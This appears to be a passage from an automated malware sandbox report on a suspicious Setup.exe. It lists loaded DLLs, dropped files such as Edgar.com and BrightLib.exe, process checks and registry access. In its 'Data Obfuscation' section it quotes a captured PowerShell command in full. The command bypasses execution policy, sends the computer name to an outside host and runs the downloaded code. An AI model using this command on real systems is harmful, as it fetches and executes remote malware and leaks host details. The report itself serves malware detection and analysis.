Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\Desktop\Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Setup.exe

Static file information: File size 73410061 > 1048576

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb7K source: powershell.exe, 00000010.00000002.2406936811.00000000075D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000031.00000002.3046150125.00000000386E0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3023892580.000000000367C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000031.00000002.3046150125.00000000386E0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3023892580.000000000367C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2406936811.000000000759A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ystem.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2401835288.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	Static PE information: real checksum: 0x9307ce should be: 0x8615ed
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.21.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.18.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29

Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	Static PE information: section name: .didata
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.18.dr	Static PE information: section name: .didata
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.21.dr	Static PE information: section name: .didata

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\is-27FCF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	File created: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	File created: C:\Users\user\AppData\Local\Temp\is-ERM5B.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File created: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Jump to dropped file
